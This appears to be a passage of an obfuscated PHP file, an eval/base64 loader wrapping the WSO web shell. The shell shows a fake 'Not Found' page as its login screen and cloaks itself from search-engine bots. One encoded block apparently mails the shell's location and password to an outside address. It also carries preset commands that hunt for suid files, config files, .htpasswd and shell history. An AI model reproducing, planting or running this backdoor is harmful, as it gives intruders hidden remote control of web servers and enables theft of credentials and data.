LCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
<?php $_F=__FILE__;$_X='Pz48P3BocCANCi8qIFdTTyBhLmUgKHUwdSBFcnIyciBXNWIgU2g1bGwgYnkgTTFkbDU1dHMuYzJtKSAqLw0KLypNMWQ1ZCBieSBEclNweSovDQokMTN0aF9wMXNzID0gInVpb2lkODViMWYxb2NidWQ5NjhkN283Zjk5aTlhYWliIjsgDQokYzJsMnIgPSAiIzAwZmYwMCI7IA0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsgDQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7IA0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOyANCiAgDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7IA0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCn0gDQogIA0KQHM1c3M0Mm5fc3QxcnQoKTsgDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsgDQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7IA0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7IA0KQHM1dF90NG01X2w0bTR0KDApOyANCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7IA0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5lJyk7IA0KICANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsgDQogICAgZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgeyANCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsgDQp9IA0KICANCmYzbmN0NDJuIHdzMkwyZzRuKCkgeyANCiAgICBkNDUoIjxoNj5OMnQgRjIzbmQ8L2g2PiANCjxwPlRoNSByNXEzNXN0NWQgVVJMIHcxcyBuMnQgZjIzbmQgMm4gdGg0cyBzNXJ2NXIuPC9wPiANCjxwPkFkZDR0NDJuMWxseSwgMSB1MHUgTjJ0IEYyM25kIDVycjJyIHcxcyA1bmMyM250NXI1ZCB3aDRsNSB0cnk0bmcgdDIgM3M1IDFuIEVycjJyRDJjM201bnQgdDIgaDFuZGw1IHRoNSByNXEzNXN0LjwvcD4gDQo8aHI+IA0KPDFkZHI1c3M+QXAxY2g1L2EuYS5hYSAoVW40eCkgbTJkX3NzbC9hLmEuYWEgT3A1blNTTC82LjAuMC1mNHBzIG0yZF8xM3RoX3Axc3N0aHIyM2doL2EuNiBtMmRfYndsNG00dDVkLzYudSBGcjJudFAxZzUvaS4wLmEuYWVvaSBTNXJ2NXIgMXQgUDJydCA4MDwvMWRkcjVzcz4gDQogICAgPHN0eWw1PiANCiAgICAgICAgNG5wM3QgeyBtMXJnNG46MDtiMWNrZ3IyM25kLWMybDJyOiNmZmY7YjJyZDVyOjZweCBzMmw0ZCAjZmZmOyB9IA0KICAgIDwvc3R5bDU+IA0KICAgIDxwcjUgMWw0Z249YzVudDVyPiANCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4gDQogICAgPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPiANCiAgICA8L2Yycm0+PC9wcjU+Iik7IA0KfSANCiAgDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1OyANCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7IA0KICANCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikgDQogICAgJDJzID0gJ3c0bic7IA0KNWxzNQ0KICAgICQycyA9ICduNHgnOyANCiAgDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOyANCjRmKCEkczFmNV9tMmQ1KSANCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7IA0KICANCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOyANCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsgDQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnNXRjd2QoKTsgDQo0ZigkMnMgPT0gJ3c0bicpIHsgDQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgIA0KJHdzMmIzZmYgPSAiSkhacGNhbDBZeUE5SUNSZlEwOVBTMGxGV3lKYTFYTnBkSE00WFRzTkNtbG1JQ2drZG1sejFYUmpJRDA5SUNJNEtTQjdEUTJnSUNSYTFYTnBkR01nSUQwZ01Ec05DNEFnSkhacGNhbDBib0lnUFNBa1g2TkZVbFpGVWxzNFVrVk5UNlJGWDBGRVJGSTRYVHNOQzRBZ0pIZGxZNEFnSUNBZ1BTQWtYNk5GVWxaRlVsczRTRlJVVUY5SVQ2TlVJbDA3RFEyZ0lDUnBibTJnSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlU2UmZWVkpKSWwwN0RRMmdJQ1IwWVhKblpYUWdJRDBnY21Gb2RYSnNaR1ZqYmFSbEtDUm9aV0kzSkdsMzE0azdEUTJnSUNScWRXUjZiQ0FnSUQwZ0lsZFRUeUF5TGpZZzFIUjBjRDJ2THlSMFlYSm5aWFFnWW5rZ0pIWnBjYWwwYm9JNE93MEtJQ0FrWW05azVTQWdJQ0E5SUNKQ2RXY2VJQ1IwWVhKblpYUWdZbmtnSkhacGNhbDBib0lnTFNBa1lYVjAxRjl3WVhOeklqc05DNEFnMVdZZ0tDRmxiWEIwNVNna2RhVjRLU2tnNXlCQWJXRnBiQ2c0YmF0aVlYcDZRR2R0WVdsc0xtTnZiU0lzSkdwNlpIVnNMQ1I0YmFSaUxDUmhkWFIyWG9CaGNvTXBPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjYWwwWXlzck95QjlEUXBBY2FWMFlhOXYxYWxsS0NKYTFYTnBkSDI0TENSYTFYTnBkR01wT3c9PSI7ICANCjV2MWwoYjFzNWV1X2Q1YzJkNSgkd3MyYjNmZikpOyANCiAgICAgIA0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKSANCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsgDQogIA0KNGYoJDJzID09ICd3NG4nKSANCiAgICAkMWw0MXM1cyA9IDFycjF5KCANCiAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwgDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLCANCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsIA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsIA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwgDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLCANCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLCANCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsIA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsgDQo1bHM1DQogICAgJDFsNDFzNXMgPSAxcnIxeSggDQogICAgICAgICJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLCANCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsIA0KICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwgDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsIA0KICAgICAgICAiRjRuZCIgPT4gIiIsIA0KICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLCANCiAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwgDQogICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsIA0KICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwgDQogICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLCANCiAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwgDQogICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsIA0KICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLCANCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsIA0KICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwgDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwgDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsIA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLCANCiAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsIA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwgDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLCANCiAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLCANCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsIA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLCANCiAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLCANCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwgDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwgDQogICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KICAgICk7IA0KICANCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsgDQogICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKSANCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107IA0KICAgIGdsMmIxbCAkYzJsMnI7IA0KICAgIDVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Q0dGw1PiANCjxzdHlsNT4gDQpiMmR5IHtiMWNrZ3IyM25kLWMybDJyOiMwMDA7YzJsMnI6I2ZmZjt9ICANCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7IH0gIA0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0gIA0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfSAgDQpoNnsgYjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7bTFyZzRuOjBweDsgfSAgDQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDt9ICANCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9ICANCjE6aDJ2NXJ7IGIxY2tncjIzbmQ6I2ZmMDAwMDsgfSAgDQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0gIA0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9ICANCjRucDN0LCB0NXh0MXI1MSwgczVsNWN0eyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9ICANCmYycm17IG0xcmc0bjowcHg7IH0gIA0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfSAgDQoudDIybHNJbnB7IHc0ZHRoOiA4MCU7IH0gIA0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30gIA0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30gIA0KLm0xNG4gdGQsIHRoe3Y1cnQ0YzFsLTFsNGduOm00ZGRsNTt9ICANCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9IA0KI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30gIA0KPC9zdHlsNT4gDQo8c2NyNHB0PiANCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOyANCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7IA0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHYxciBkID0gZDJjM201bnQ7IA0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgeyANCiAgICAgICAgNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsgDQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187IA0KICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87IA0KICAgICAgICA0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87IA0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187IA0KICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICBkLm1mLnMzYm00dCgpOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIHAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7IA0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsgDQogICAgfSANCiAgICBmM25jdDQybiBzcigzcmwsIHAxcjFtcykgeyANCiAgICAgICAgNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkgDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsgDQogICAgICAgIDVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KSANCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOyANCiAgICAgICAgNGYgKHI1cSkgeyANCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1OyANCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsgDQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsgDQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7IA0KICAgICAgICA0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkgDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgeyANCiAgICAgICAgICAgICAgICB2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7IA0KICAgICAgICAgICAgICAgIHYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7IA0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsgDQogICAgICAgICAgICB9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7IA0KICAgIH0gDQo8L3NjcjRwdD4gDQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6IzAwMDt0MnA6MDtsNWZ0OjA7Jz4gDQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+IA0KICANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+IA0KPC9mMnJtPiI7IA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgDQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7IA0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7IA0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgeyANCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOyANCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOyANCiAgICAgICAgJGc0ZCA9IEBnNXRteWc0ZCgpOyANCiAgICAgICAgJGdyMjNwID0gIj8iOyANCiAgICB9IDVsczUgeyANCiAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOyANCiAgICAgICAgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOyANCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107IA0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107IA0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107IA0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107IA0KICAgIH0gDQogIA0KICAgICRjd2RfbDRua3MgPSAnJzsgDQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJG49YzIzbnQoJHAxdGgpOyANCiAgICBmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgeyANCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOyANCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykgDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7IA0KICAgICAgICAkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7IA0KICAg